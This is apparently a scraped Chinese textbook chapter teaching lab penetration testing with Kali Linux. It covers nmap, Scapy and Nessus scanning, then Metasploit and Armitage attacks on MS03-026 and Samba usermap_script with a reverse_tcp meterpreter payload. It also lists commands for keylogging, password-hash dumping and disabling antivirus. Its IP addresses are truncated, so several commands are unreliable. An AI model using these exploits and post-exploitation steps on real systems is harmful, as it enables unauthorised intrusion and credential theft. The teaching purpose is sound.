《计算机网络安全防护技术(第二版)》课件 (秦燊)第6章 网络安全渗透测试技术_第1页
《计算机网络安全防护技术(第二版)》课件 (秦燊)第6章 网络安全渗透测试技术_第2页
《计算机网络安全防护技术(第二版)》课件 (秦燊)第6章 网络安全渗透测试技术_第3页
《计算机网络安全防护技术(第二版)》课件 (秦燊)第6章 网络安全渗透测试技术_第4页
《计算机网络安全防护技术(第二版)》课件 (秦燊)第6章 网络安全渗透测试技术_第5页
已阅读5页,还剩71页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

第6章

网络安全渗透测试技术任务6.1-6.3搭建实验拓扑和学习预备知识

一直以来,小张都参与了A公司的网络安全建设,通过之前的一系列的建设,已取得了一定的成效。为了进一步查找和修补公司网络的漏洞、提升公司网络系统的安全性,A公司决定聘请网络安全专家为公司的网络进行安全渗透测试。

渗透测试起源于美国的军事演习。20世纪90年代,美国将其传统的军事演习引入到计算机网络及信息安全基础设施的攻防测试中,由安全专家组成的“红队”向接受测试的“蓝队”进行攻击,检验“蓝队”安全防御体系的有效性。这种通过实际攻击进行安全测试与评估的方法就是渗透测试(PenetrationTesting)。

本章将介绍使用KaliLinux进行渗透测试的方法,拓扑如图6-1-1所示。攻击者与被攻击者都位于公司的DMZ区域,通过NAT连接到Internet。攻击者使用KaliLinux系统,IP地址是1;被攻击者Linux服务器,IP地址是2;被攻击者win2003服务器,IP地址是3;被攻击者win2008服务器,IP地址是4。图6-1-1网络安全渗透测试实验拓扑

其基本配置如下:1.启动VMwareWorkstation。2.将KaliLinux连接到关联NAT的交换机Vmnet8。3.将KaliLinux的IP地址配置为1,网关指向。root@kali:~#vim/etc/network/interfacesautoeth0ifaceeth0inetstaticaddress1netmaskgatewaypre-upifconfigeth0hwether60:60:60:60:60:604.在KaliLinux上进行ping百度网站的测试,命令如下:root@kali:~#ping测试结果是能ping通,证明该KaliLinux电脑能正常解析域名并访问Internet上的服务器。5.三台服务器的IP地址按上面的规划配置,子网掩码为。6.1渗透测试的步骤渗透测试的主要步骤是:1.信息收集通过Internet、社会工程等手段,了解目标的相关信息。2.扫描通过扫描软件对目标进行扫描,获取开放的主机、端口、漏洞等信息。3.实施攻击、获取权限对目标主机实施拒绝服务等攻击,破坏其正常的运行。或利用目标主机的漏洞,直接或间接的获取控制权。4.消除痕迹、保持连接攻击者入侵获取控制权后,通过清除系统日志、更改系统设置,种植木马等方式,远程操控目标主机而又不被发现。5.生成评估报告对发现的安全问题及后果进行评估,给出技术解决方案,帮助被评估者修补和提升系统的安全性。6.2信息收集

常用的收集信息的方法有社会工程学法、谷歌黑客技术等。社会工程学法是利用人的弱点,如人的本能反应、好奇心、贪便宜等,进行欺骗,获取利益的方法。谷歌黑客技术是利用谷歌、百度等搜索引擎,收集有价值的信息的方法。一、谷歌黑客技术的基本语法and连接符同时对所有关键字进行搜索or连接符从几个关键字中,任一个匹配就可以intext:搜索正文部分,忽略标题、URL等文字intitle:搜索标题部分inurl:搜索网页URL部分allintext:搜索正文部分,配置条件是包含全部关键字allintitle:搜索标题部分,配置条件是包含全部关键字allinurl:搜索网页URL部分,配置条件是包含全部关键字site:限定域名link:包含指定链接filetype:指定文件后缀或扩展名*代表多个字母.代表一个字母“”精确匹配,可指定空格+加入关键字-送去关键字~同意词二、应用举例1.通过搜索引擎搜索管理后台如通过百度或谷歌搜索引擎搜索“inurl:phpintitle:管理员登陆”,可搜索到用php开发的管理员登录网站页面。2.通过搜索引擎搜索敏感文件如通过打开G分别输入以下搜索内容,能搜索到网站上扩展名是doc、xls的文件:site:filetype:docintext:passsite:filetype:xlsintext:pass3.通过邮箱挖掘器theHarvester可利用搜索引擎收集电子邮件地址。例如,在kaliLinux中,执行以下命令:root@kali:~#theharvester-d163.com-l300-bbaidu以上命令的作用是搜索域名为163.com的邮件地址,搜索来源是baidu。除了baidu,可选的搜索来源还有google、bing、pgp、linkedin等。6.3扫描

扫描相当于入侵之前的“踩点”,主要是为了收集被攻击者的信息。扫描可分为端口类扫描和漏洞类扫描。端口类扫描用于检测目标主机是否在线、开放了哪些端口、运行了哪些服务、运行的是什么操作系统、运行了哪些软件;漏洞类扫描主要用于扫描主机开放的端口、运行的服务、运行的操作系统和软件有什么漏洞。

ping扫描是最原始的主机存活扫描技术,但有些系统如win7系统由于安全的需要,默认就不允许别人ping自己,所以ping扫描成功率并不大。为提高成功率,直连的主机可用基于ARP的扫描;非直连的主机可采用基于TCP的扫描。6.3.1fping扫描fping扫描类似于ping命令,但ping命令一次只能ping一个地址,而fping一次可以ping多个地址,而且速度更快。(一)fping命令常用的参数:-a:在结果中显示出所有可ping通的目标。-q:安静模式,不显示每个目标ping的结果。-f:从用户事先定义好的指定文件中获取目标列表。-g:指定目标列表,有两种形式:形式1指定开始和结束地址,如-g55。形式2指定网段和子网掩码,如-g/24其中,-f与-g只能选择其一,不能同时使用。(二)举例说明1.通过定义目标列表文件的方式进行扫描1)编辑列表文件root@kali:~#vimHostList输入以下内容:2342)运行命令root@kali:~#fping-a-q-fHostList23以上三行是命令输出的内容,列出了所有可ping通的目标。@kali:~#fping-g54-a-q1233.将扫描结果输出到文件1)输入命令root@kali:~#fping-g54-a-q>Ahost2)查看结果root@kali:~#catAhost1236.3.2nping扫描

通过ping来扫描存活主机成功率不大,为提高成功率,直连的主机可用基于ARP的扫描;非直连的主机可采用基于TCP的扫描。nping扫描支持TCP、UDP、ICMP和ARP等多种协议。例如,它能通过tcp连接目标主机的某个端口,来测试目标主机是否存活。通过发送TCP的syn,根据是否有回复syn、ack或回复reset,来测试对方是否存活。

nping常用的参数有:-c数量:表示发送给目标主机的测试包的数量。-p端口号:表示目标主机的端口号,根据目标主机是否有回复以及回复的信息可获得目标主机是否存洛以及是否开启了相关服务。--tcp:表示发送tcp类型的数据包。例如,输入以下命令:root@kali:~#nping-c1-p802-15--tcp输出如下:StartingNping0.7.70(/nping)at2018-12-2623:12ESTSENT(0.0443s)TCP1:57744>2:80Sttl=64id=2420iplen=40seq=2050265291win=1480//上面一行表示1向2的80号端口发送了TCP的syn。RCVD(0.0453s)TCP2:80>1:57744SAttl=64id=0iplen=44seq=2409067941win=5840<mss1460>//上面一行说明2回复了syn和ack,表示它开发了http服务。SENT(1.0454s)TCP1:57744>3:80Sttl=64id=2420iplen=40seq=2050265291win=1480RCVD(1.0486s)TCP3:80>1:57744SAttl=128id=43708iplen=44seq=430410675win=64320<mss1460>SENT(2.0505s)TCP1:57744>4:80Sttl=64id=2420iplen=40seq=2050265291win=1480SENT(3.0525s)TCP1:57744>5:80Sttl=64id=2420iplen=40seq=2050265291win=1480//上面一行表示1向5的80号端口发送了TCP的syn。通过观察,之后并没有收到5的回复,因此判断5没有开放80端口。Statisticsforhost2:|ProbesSent:1|Rcvd:1|Lost:0(0.00%)|_Maxrtt:0.725ms|Minrtt:0.725ms|Avgrtt:0.725ms//上面一行表示向2发送了1个包,收到1个回复,丢包率是0。Statisticsforhost3:|ProbesSent:1|Rcvd:1|Lost:0(0.00%)|_Maxrtt:2.711ms|Minrtt:2.711ms|Avgrtt:2.711msStatisticsforhost4:|ProbesSent:1|Rcvd:0|Lost:1(100.00%)|_Maxrtt:N/A|Minrtt:N/A|Avgrtt:N/AStatisticsforhost5:|ProbesSent:1|Rcvd:0|Lost:1(100.00%)|_Maxrtt:N/A|Minrtt:N/A|Avgrtt:N/A//上面一行表示向5发送了1个包,收到0个回复,丢包率是100%。Rawpacketssent:4(160B)|Rcvd:2(92B)|Lost:2(50.00%)Npingdone:4IPaddressespingedin4.09seconds6.3.3NMAP扫描

Nmap是综合性的端口扫描工具,可用于主机发现、开放服务及版本检测、操作系统检测、网络追踪等。Nmap指定目标地址范围的形式举例如下:232-15/24-exclude2其中,exclude后面为排除的IP地址。还可以将地址范围以列表的形式存放在文件中,如将IP地址的列表存放在hosts.txt文件中,可以用以下形式引用地址范围:-iLhosts.txt-excludefilehosts.txt一、Nmap的ping扫描Nmap的Ping扫描迅速找出指定范围内,允许Ping的主机的IP地址、MAC地址。它的参数是-sn,举例如下:root@kali:~#nmap-sn/24StartingNmap7.70()at2018-12-3001:04ESTNmapscanreportforHostisup(0.00087slatency).MACAddress:00:50:56:E1:7E:5F(VMware)NmapscanreportforHostisup(0.00069slatency).MACAddress:00:50:56:C0:00:08(VMware)Nmapscanreportfor0Hostisup(0.00017slatency).MACAddress:00:0C:29:EE:A8:5A(VMware)Nmapscanreportfor2Hostisup(0.0027slatency).MACAddress:00:0C:29:AE:F7:74(VMware)Nmapscanreportfor3Hostisup(0.00014slatency).MACAddress:00:0C:29:09:18:C6(VMware)Nmapscanreportfor4Hostisup(0.00024slatency).MACAddress:00:0C:29:86:3A:9C(VMware)Nmapscanreportfor1Hostisup.Nmapdone:256IPaddresses(7hostsup)scannedin1.93seconds二、Nmap的TCP/UDP扫描1.TCPConnect扫描

TCPConnect扫描是通过操作系统提供的系统调用connect()来打开连接的,如果有成功返回,表示目标端口正在监听;否则表示目标端口不在监听。这种扫描是最基本的TCP扫描,但容易被检测到。root@kali:~#nmap-sT4StartingNmap7.70()at2018-12-3003:29ESTNmapscanreportfor4Hostisup(0.00097slatency).Notshown:990closedportsPORTSTATESERVICE80/tcpopenhttp135/tcpopenmsrpc139/tcpopennetbios-ssn445/tcpopenmicrosoft-ds3306/tcpopenmysql49152/tcpopenunknown49153/tcpopenunknown49154/tcpopenunknown49155/tcpopenunknown49156/tcpopenunknownMACAddress:00:0C:29:86:3A:9C(VMware)Nmapdone:1IPaddress(1hostup)scannedin1.82seconds2.TCPSYN扫描

TCPSYN扫描首先尝试向对方的某个端口发出一个SYN包,

若对方返回SYN-ACK包,表示对方端口正在监听,

如果对方返回RST包,表示对方端口不在监听。

针对对方返回的SYN-ACK包,攻击者主机会马上发出一个RST包断开与对方的连接,转入下一个端口的测试。

由于不必完全打开一个TCP连接,所以TCPSYN扫描也被称为半开扫描。Nmap的TCPSYN扫描命令如下:root@kali:~#nmap-sS4StartingNmap7.70()at2018-12-3003:27ESTNmapscanreportfor4Hostisup(0.00041slatency).Notshown:990closedportsPORTSTATESERVICE80/tcpopenhttp135/tcpopenmsrpc139/tcpopennetbios-ssn445/tcpopenmicrosoft-ds3306/tcpopenmysql49152/tcpopenunknown49153/tcpopenunknown49154/tcpopenunknown49155/tcpopenunknown49156/tcpopenunknownMACAddress:00:0C:29:86:3A:9C(VMware)Nmapdone:1IPaddress(1hostup)scannedin1.60seconds3.TCPFIN扫描

采用TCPSYN扫描某个端口时,若对方既不回复ACK包,也不回复RST包,则无法判断对方端口的状态。

这时,可采用TCPFIN扫描作进一步的判断。

若FIN包到达一个监听端口,会被丢弃;

相反的,若FIN包到达一个关闭的端口,则会回应RST。root@kali:~#nmap-sF2StartingNmap7.70()at2018-12-3003:32ESTNmapscanreportfor2Hostisup(0.00034slatency).Notshown:988closedportsPORTSTATESERVICE21/tcpopen|filtered ftp22/tcpopen|filtered ssh23/tcpopen|filtered telnet25/tcpopen|filtered smtp53/tcpopen|filtered domain80/tcpopen|filtered http139/tcpopen|filtered netbios-ssn445/tcpopen|filtered microsoft-ds3306/tcpopen|filtered mysql5432/tcpopen|filtered postgresql8009/tcpopen|filtered ajp138180/tcpopen|filtered unknownMACAddress:00:0C:29:AE:F7:74(VMware)Nmapdone:1IPaddress(1hostup)scannedin1.46seconds2.UDP扫描

UDP扫描用来确定对方主机的哪个UDP端口开放。

UDP扫描发送零字节的信息包给对方端口,若收到回复端口不可达,表示该端口的关闭的,

若无回复,则认为对方端口是开放的。

UDP扫描耗时较长,参数是-sU,例如:root@kali:~#nmap-sU2StartingNmap7.70()at2018-12-3003:34ESTNmapscanreportfor2Hostisup(0.00054slatency).Notshown:997closedportsPORTSTATESERVICE53/udpopendomain137/udpopennetbios-ns138/udpopen|filterednetbios-dgmMACAddress:00:0C:29:AE:F7:74(VMware)Nmapdone:1IPaddress(1hostup)scannedin2032.28seconds三、端口服务及版本扫描

Nmap能较准确的判断出目标主机开放的端口服务类型及版本,而不是简单的根据端口号对应到相应的服务,

如http服务被从默认的80号端口修改为其它端口号,也能判断出来。端口服务及版本扫描的参数是-sV,如:root@kali:~#nmap-sV4StartingNmap7.70()at2018-12-3007:55ESTNmapscanreportfor4Hostisup(0.00039slatency).Notshown:990closedportsPORTSTATESERVICEVERSION80/tcpopenhttpApachehttpd2.4.23((Win32)OpenSSL/1.0.2jPHP/5.4.45)135/tcpopenmsrpcMicrosoftWindowsRPC139/tcpopennetbios-ssnMicrosoftWindowsnetbios-ssn445/tcpopenmicrosoft-dsMicrosoftWindowsServer2008R2-2012microsoft-ds3306/tcpopenmysqlMySQL(unauthorized)49152/tcpopenmsrpcMicrosoftWindowsRPC49153/tcpopenmsrpcMicrosoftWindowsRPC49154/tcpopenmsrpcMicrosoftWindowsRPC49155/tcpopenmsrpcMicrosoftWindowsRPC49156/tcpopenmsrpcMicrosoftWindowsRPCMACAddress:00:0C:29:86:3A:9C(VMware)ServiceInfo:OSs:Windows,WindowsServer2008R2-2012;CPE:cpe:/o:microsoft:windowsServicedetectionperformed.Pleasereportanyincorrectresultsat/submit/.Nmapdone:1IPaddress(1hostup)scannedin60.56seconds四、综合扫描

综合扫描会同时打开OS指纹和版本探测。命令的参数是-A,如:root@kali:~#nmap-A4StartingNmap7.70()at2018-12-3008:00ESTNmapscanreportfor4Hostisup(0.00050slatency).Notshown:990closedportsPORTSTATESERVICEVERSION80/tcpopenhttpApachehttpd2.4.23((Win32)OpenSSL/1.0.2jPHP/5.4.45)|http-methods:|_Potentiallyriskymethods:TRACE|_http-server-header:Apache/2.4.23(Win32)OpenSSL/1.0.2jPHP/5.4.45|_http-title:403Forbidden135/tcpopenmsrpcMicrosoftWindowsRPC139/tcpopennetbios-ssnMicrosoftWindowsnetbios-ssn445/tcpopenmicrosoft-dsWindowsServer2008R2Enterprise7601ServicePack1microsoft-ds3306/tcpopenmysqlMySQL(unauthorized)49152/tcpopenmsrpcMicrosoftWindowsRPC49153/tcpopenmsrpcMicrosoftWindowsRPC49154/tcpopenmsrpcMicrosoftWindowsRPC49155/tcpopenmsrpcMicrosoftWindowsRPC49156/tcpopenmsrpcMicrosoftWindowsRPCMACAddress:00:0C:29:86:3A:9C(VMware)Devicetype:generalpurposeRunning:MicrosoftWindows7|2008|8.1OSCPE:cpe:/o:microsoft:windows_7::-cpe:/o:microsoft:windows_7::sp1cpe:/o:microsoft:windows_server_2008::sp1cpe:/o:microsoft:windows_server_2008:r2cpe:/o:microsoft:windows_8cpe:/o:microsoft:windows_8.1OSdetails:MicrosoftWindows7SP0-SP1,WindowsServer2008SP1,WindowsServer2008R2,Windows8,orWindows8.1Update1NetworkDistance:1hopServiceInfo:OSs:Windows,WindowsServer2008R2-2012;CPE:cpe:/o:microsoft:windowsHostscriptresults:|_clock-skew:mean:-2h40m00s,deviation:4h37m07s,median:0s|_nbstat:NetBIOSname:WIN-U8QM4SRH0MR,NetBIOSuser:<unknown>,NetBIOSMAC:00:0c:29:86:3a:9c(VMware)|smb-os-discovery:|OS:WindowsServer2008R2Enterprise7601ServicePack1(WindowsServer2008R2Enterprise6.1)|OSCPE:cpe:/o:microsoft:windows_server_2008::sp1|Computername:WIN-U8QM4SRH0MR|NetBIOScomputername:WIN-U8QM4SRH0MR\x00|Workgroup:WORKGROUP\x00|_Systemtime:2018-12-30T21:01:14+08:00|smb-security-mode:|account_used:guest|authentication_level:user|challenge_response:supported|_message_signing:disabled(dangerous,butdefault)|smb2-security-mode:|2.02:|_Messagesigningenabledbutnotrequired|smb2-time:|date:2018-12-3008:01:14|_start_date:2018-01-0109:35:49TRACEROUTEHOPRTTADDRESS10.50ms4OSandServicedetectionperformed.Pleasereportanyincorrectresultsat/submit/.Nmapdone:1IPaddress(1hostup)scannedin102.75seconds6.3.4全能工具Scapy

全能工具Scapy能让我们自行构造出各种数据包,实现端口扫描等功能。例如通过Scapy可以构造出一个SYN包,发送给目标主机某端口,若收到目标主机的SYN-ACK包,表示目标主机的相应端口是开放的。一、进入scapy界面构造包进入scapy界面,构造一个包,并查看构造的包,方法如下:root@kali:~#scapyWARNING:NoroutefoundforIPv6destination::(nodefaultroute?)INFO:Can'timportpythonecdsalib.DisabledcertificatemanipulationtoolsWelcometoScapy(2.3.3)>>>a=Ether()/IP()/TCP()//构造一个包>>>a.show()//查看这个包###[Ethernet]###dst=ff:ff:ff:ff:ff:ffsrc=00:00:00:00:00:00type=0x800###[IP]###version=4ihl=Nonetos=0x0len=Noneid=1flags=frag=0ttl=64proto=tcpchksum=Nonesrc=dst=\options\###[TCP]###sport=ftp_datadport=httpseq=0ack=0dataofs=Nonereserved=0flags=Swindow=8192chksum=Noneurgptr=0options={}二、ping测试1.构造包>>>b=IP(dst='4')/ICMP()/b'Helloworld'>>>b.show()###[IP]###version=4ihl=Nonetos=0x0len=Noneid=1flags=frag=0ttl=64proto=icmpchksum=Nonesrc=1dst=4\options\###[ICMP]###type=echo-requestcode=0chksum=Noneid=0x0seq=0x0###[Raw]###load='Helloworld'2.发送和接收一个三层的数据包,把接收到的结果赋值给reply01。

命令是sr1,含义是send并receive1个包。>>>reply01=sr1(b)Beginemission:.Finishedtosend1packets..*Received3packets,got1answers,remaining0packets>>>

常见发送和接收数据包的命令函数有:sr()表示发送三层的数据包,接收一个或多个响应包。sr1()表示发送和接收一个三层的数据包srp()表示发送二层数据包,并接收响应包send()表示只发送三层数据包,不接收sendp()表示只发送二层数据包,不接收3.查看接收到的响应包>>>reply01.show<boundmethodIP.showof<IPversion=4Lihl=5Ltos=0x0len=39id=6907flags=frag=0Lttl=128proto=icmpchksum=0xa70src=4dst=1options=[]|<ICMPtype=echo-replycode=0chksum=0x8e31id=0x0seq=0x0|<Rawload='Helloworld'|<Paddingload='\x00\x00\x00\x00\x00\x00\x00'|>>>>>

可以看到,响应包是由对方发起,自己是接收方,响应包的内容是自己发给对方的副本“Helloworld”。4.提取响应包的详细信息1)查看返回的字段与值>>>reply01.getlayer(IP).fields{'frag':0L,'src':'4','proto':1,'tos':0,'dst':'1','chksum':2672,'len':39,'options':[],'version':4L,'flags':0L,'ihl':5L,'ttl':128,'id':6907}>>>上面这条命令,查看到响应包的所有IP字段及对应的值>>>reply01.getlayer(IP).fields['src']'4'上面这条命令,查看到了响应包的源IP地址字段及值>>>reply01.getlayer(IP).fields['dst']'1'上面这条命令,查看到了响应包的目标IP地址字段及值>>>reply01.getlayer(ICMP).fields{'gw':None,'code':0,'ts_ori':None,'addr_mask':None,'seq':0,'nexthopmtu':None,'ptr':None,'unused':None,'ts_rx':None,'length':None,'chksum':36401,'reserved':None,'ts_tx':None,'type':0,'id':0}上面这条命令,查看到响应包的所有ICMP字段及对应的值>>>reply01.getlayer(ICMP).fields['type']0上面这条命令,查看到响应包中,ICMP的type字段对应的值是0。6.3.5Nessus扫描工具

Nessus是常用的漏洞类扫描工具,扫描到漏洞后,管理员可针对漏洞对系统进行加固,攻击者可针对漏洞实施入侵。漏洞扫描分为特征码探测和模拟攻击两种方式。特征码探测时,会向对方发送包含特征探测码的数据包,根据返回的数据包中是否包含相应特征码,来判断漏洞是否存在;模拟攻击测试时,通过模拟黑客行为攻击目标,若攻击成功,则表示漏洞存在。一、下载Nessus在KaliLinux中用浏览器打开“/downloads/nessus”,官网会根据KaliLinux的操作系统类型自动选择和推荐下载相应平台的Nessus安装包。也可先通过真机下载Nessus安装包(平台类型选“Dibian/KaliLinux”类型),再在真机上用WinSCP软件将已经下载的安装包复制到KaliLinux上。使用WinSCP软件前需在kaliLinux上用“vim/etc/ssh/sshd_config”命令编辑sshd_config文件,为sshd_config文件添加“PasswordAuthenticationyes”和“PermitRootLoginyes”这两行语句;然后用“servicesshstart”命令开启SSH服务。二、安装、注册和部署Nessus1.在KaliLinux的命令行界面中,进入安装文件所在目录,运行以下命令进行安装:#dpkg-iNessus-10.6.4-debian10_amd64.deb//后面的名字是安装包的文件名2.启动Nessus服务,命令如下:#servicenessusdstart3.查看已启动的Nessus服务进程,命令如下:#netstat-ntpl|grepnessustcp00:8834:*LISTEN7873/nessusdtcp600:::8834:::*LISTEN7873/nessusd4.在浏览器中输入“:8834”打开Nessus页面,当页面询问打算部署的产品类型时,选择如图6-3-1所示的教育版“RegisterforNessusEssentials”,点击“Continue”按钮继续。5.在后续出现的窗口中,输入个人邮箱等信息进行注册和获取激活码,等待系统自动下载、编译和安装插件。插件成功安装后,就可以正常使用Nessus进行扫描等操作了。图6-3-1选择“RegisterforNessusEssentials”三、用Nessus扫描局域网1.成功部署Nessus后,在浏览器的Nessus页面中,出现“Scans”和“Settings”两个选项夹。点击“Scans”选项夹,点击“NewScan”按钮,在出现的扫描类型选项中,点击创建“AdvancedScan”类型的扫描。随后如图6-3-2所示,将创建的扫描命名为“Scan01”,将扫描范围指定为“2,3”,点击“Save”按钮。图6-3-2

创建Scan01扫描2.在扫描列表中,可以看到刚定义好的扫描名称条“Scan01”,在其后的扫描按钮图标上点击,开启新的扫描。开启扫描后,在“Scan01”名称条上点击,出现如图6-3-3所示的扫描实时结果汇总信息。图6-3-3

扫描实时结果汇总信息3.点击“3”结果条,可看到如图6-3-4所示的对该windows服务器扫描获得的详细漏洞结果,如UnsupportedWebServerDetection、MicrosoftWindowsServer2003UnsupportedInstallationDetection、SMBNULLSessionAuthentication等。图6-3-4

扫描获得的详细漏洞信息4.如图6-3-5所示,点击其中MIXED类型的“MicrosoftWindows(MultipleIssues)”项,可进一步看到MS06-040、MS09-001、MS03-026、MS03-039、MS06-018等严重漏洞。图6-3-5

“MicrosoftWindows(MultipleIssues)”项信息5.如图6-3-6所示,点击其中的MS03-026漏洞条,可进一步看到关于MS03-026漏洞的详细信息以及相关补丁。图6-3-6

MS03-026漏洞的详细信息6.与查看对windows服务器扫描的结果类似,点击如图6-3-7所示的“2”扫描结果条,可看到如图6-3-7所示的对该Linux服务器扫描获得的详细漏洞结果,点击其中的漏洞条,可进一步看到关于该漏洞的详细信息及相关补丁等防护措施。图6-3-7

对Linux服务器扫描获得的漏洞信息

谢谢欣赏第6章

网络安全渗透测试技术任务6.4.1通过图形界面对服务器实施渗透测试

6.4对Linux和Windows服务器实施渗透测试Metasploit是rapid7公司的一款优秀的渗透测试工具,用漏洞扫描工具找到对方漏洞后,可用Metasploit对这些漏洞进行做渗透测试。测试一般采用命令行界面的Metasploit框架版(TheMetasploitFramework,简称MSF),启动方式是在shell中输入msfconsole;另外,初学者还可选用图形界面的Armitage,Armitage通过调用Metasploit,对主机存在的漏洞实施自动化的攻击,实施渗透测试。任务6.4.1通过图形界面对服务器实施渗透测试

采用图形界面的Armitage,用户不需要输入太多参数,就可自动化的调用Metasploit,对目标主机实施渗透测试。直观形象的界面,便于初学者掌握。一、扫描目标主机1.启动Armitage方法是先在shell中输入msfdbinit,然后再输入armitage。root@kali:~#msfdbinitroot@kali:~#armitage2.在shell中输入armitage后,弹出连接对话框,如图6-4-1所示,点击“Connect”按钮。图6-4-1启动armitage连接到metasploit3.如图6-4-2所示,提示将要启动和连接MetasploitRPCserver,点击“Yes”按钮。4.Armitage界面启动后,如图6-4-3所示,点击菜单“Hosts”/“NmapScan”/“QuickScan(OSdetect)”。图6-4-2启动Metasploit图6-4-3对Hosts进行QuickScan(OSdetect)5.如图6-4-4所示,在弹出的扫描范围对话框中,输入“2-13”,点击“OK”按钮。6.如图6-4-5所示,扫描结束后,可以看到IP地址是3的windows服务器和IP地址是2的Linux服务器都出现在扫描结果中。图6-4-4扫描范围对话框图6-4-5显示扫描结果二、利用windows服务器的03_026漏洞,对目标windows服务器实施攻击。1.如图6-4-6所示,点击菜单“Attacks”/“FindAttacks”。图6-4-6查找可用攻击菜单2.如图6-4-7所示,经过筛选,软件为目标主机找出了可用的攻击工具,附在每台目标主机的右击菜单中,供用户选择。图6-4-7攻击分析结束提示框3.如图6-4-8所示,右击IP地址为3的windows服务器,选择“Attack”/“dcerpc”/“ms03_026_dcom”,这个漏洞在上一小节中,用Nessus也扫到过的一个严重漏洞。图6-4-8运行对windows服务器的ms03_026攻击4.如图6-4-9所示,攻击参数已经自动按默认值填好,点击“Launch”按钮,就可以开始攻击了。图6-4-9攻击参数设置

5.攻击成功后,目标主机的图标变成如图6-4-10所示的样子。6.如图6-4-11所示,右击目标主机的图标,选择“Meterpreter1”/“Interact”/“CommandShell”,进入目标主机的命令行模式,此模式下可执行命令,操控目标主机。图6-4-10攻击成功图标图6-4-11进入已获取控制权的服务器的命令提示符7.如图6-4-12所示,输入ipconfig命令,可以显示出命令成功执行的结果。图6-4-12对被控服务器输入命令查看效果三、利用Linux服务器Samba服务的usermap_scrip安全漏洞,实施对Linux目标服务器的攻击。1.如图6-4-13所示,右击被扫描到有漏洞的Linux主机,在弹出的菜单中选择“Attack”/“samba”/“usermap_script”。图6-4-13对Linux服务器发起基于samba的usermap_script攻击2.如图6-4-14所示,攻击参数已经自动按默认值填好,点击“Launch”按钮,就可以开始攻击了。图6-4-14输入攻击参数3.攻击成功后,图标显示的效果变成如图6-4-15所示的效果,在图标上点击右键,选择“Shell2”/“Interact”,进入被攻击者的交互界面。4.在交互界面中,输入uname-a和whoami命令,测试运行效果。5.可以看到,交互界面给出了正确的响应。图6-4-15攻击成功后,选择被攻击者的交互界面图6-4-16进入被攻击服务器的交换界面,输入命令查看响应谢谢欣赏第6章

网络安全渗透测试技术任务6.4.2通过命令行界面对服务器实施渗透测试

任务6.4.2通过命令行界面对服务器实施渗透测试

除了图形界面,还可使用命令行界面的Metasploit框架版(TheMetasploitFramework,简称MSF),Metasploit框架版可以针对目标的漏洞,提供相应的发射器和恶意代码。攻击者采用发射器,可将恶意代码发射到目标主机上并隐蔽起来,恶意代码可接受攻击者的控制。一、Metasploit涉及的一些概念vulnerability:被攻击主机上的漏洞、薄弱点。exploit:用于发射恶意代码的发射器。利用被攻击者的漏洞和弱点,发射器可将木马等恶意代码植入到被攻击者主机。payload:是攻击者用发射器发射并隐藏到被攻击者主机内恶意代码,如木马等。利用被攻击者主机上的漏洞,攻击者可使用exploit发射器发射恶意代码payload,将恶意代码payload发射到攻击者的主机,隐蔽的植入到被攻击者主机内部。Metasploit拥有大量优秀的、在线更新的exploit和paylaod。其中,Meterpreter是众多载荷中最受欢迎的payload。二、Metasploit框架结构MSF的操作步骤。一)针对被攻击者主机的漏洞,选择用于发射恶意代码的发射器exploit。1.search:查看可用的发射器exploits。2.use:选用合适的发射器exploits。二)选用攻击载荷payload(如木马等恶意代码),并设置相关参数。1.showpayloads:查看所有可选的攻击载荷(恶意代码)。2.setpayload:从大量的攻击载荷payloads中,选择一个,一般选用Meterpreter作为攻击载荷。3.showoptions:查看攻击载荷的配置选项。4.set:设置攻击载荷的配置选项、设置相关参数。三)查看适用的操作系统1.showtargets:查看所选的发射器和攻击载荷适用的操作系统及版本,如果与被攻击者的不符,则无法实施攻击。2.settarget设置攻击的操作系统。四)实施攻击exploit:使用选好的发射器exploit和攻击载荷payload,执行渗透测试攻击,效果和run一样。参数–j表示攻击在后台进行。以上是完整的步骤,根据实际情况,操作中可以省去其中某些步骤。三、攻击载荷Meterpreter常用命令Meterpreter是最常用的攻击载荷,其常用的命令如下:1.background回到后台,即上一个命令提示符。2.sessions每个攻击为一个会话,每个会话有一个唯一的ID,使用sessions命令可查看当前有哪些会话,即有哪些主机被控制了。使用session-h命令可查看帮助信息。使用sessionsID命令可切换到指定的session会话。使用session-kID命令可关闭指定的session会话。3.screenshot对被攻击主机截屏,保存到本地。4.sysinfo显示被攻击主机的系统信息。5.ps查看被攻击主机正在运行的进程。6.migrate将meterpreter迁移到相对稳定的进程中。7.runkeylogrecorder键盘记录8.runhashdump收集被攻击者主机的密码哈希值9.runvnc打开被攻击者主机的桌面10.runkillav关闭被攻击者主机的杀毒软件。四、对Windows服务器实施MS03-026漏洞攻击上一小节,我们通过Nessus扫描到了Windows服务器存在MS03-026漏洞。下面学习如何针对该已知漏洞,用命令行界面对目标系统实施渗透测试攻击。1.打开命令行界面,输入msfconsole命令。root@kali:~/Downloads#msfconsole2.输入searchms03-026命令,查找针对漏洞ms03-026的exploit发射器。msf>searchms03-026[!]Moduledatabasecachenotbuiltyet,usingslowsearchMatchingModules================NameDisclosureDateRankDescription-----------------------------------exploit/windows/dcerpc/ms03_026_dcom2003-07-16greatMS03-026MicrosoftRPCDCOMInterfaceOverflow查找到针对该漏洞的发射器:exploit/windows/dcerpc/ms03_026_dcom3.通过useexploit/windows/dcerpc/ms03_026_dcom命令,选用该exploit发射器。msf>useexploit/windows/dcerpc/ms03_026_dcom4.通过showpayloads命令,查看所有可选的攻击载荷payload(恶意代码)。msfexploit(windows/dcerpc/ms03_026_dcom)>showpayloads可以看到,可用的payload攻击载荷很多。其中,windows/meterpreter/bind_tcp是kali主动联系被攻击者,如果要经过防火墙,易被过滤掉,不容易成功;我们将采用windows/meterpreter/reverse_tcp,此时,受害者将主动联系kali,防火墙一般会放行。5.将“windows/meterpreter/reverse_tcp”选为攻击载荷。msfexploit(windows/dcerpc/ms03_026_dcom)>setpayloadwindows/meterpreter/reverse_tcppayload=>windows/meterpreter/reverse_tcp6.通过showoptions命令,查看攻击载荷payload的配置选项。msfexploit(windows/dcerpc/ms03_026_dcom)>showoptionsModuleoptions(exploit/windows/dcerpc/ms03_026_dcom):NameCurrentSettingRequiredDescription--------------------------------------RHOSTyesThetargetaddressRPORT135yesThetargetport(TCP)Payloadoptions(windows/meterpreter/reverse_tcp):NameCurrentSettingRequiredDescription--------------------------------------EXITFUNCthreadyesExittechnique(Accepted:'',seh,thread,process,none)LHOSTyesThelistenaddressLPORT4444yesThelistenportExploittarget:IdName------0WindowsNTSP3-6a/2000/XP/2003Universal7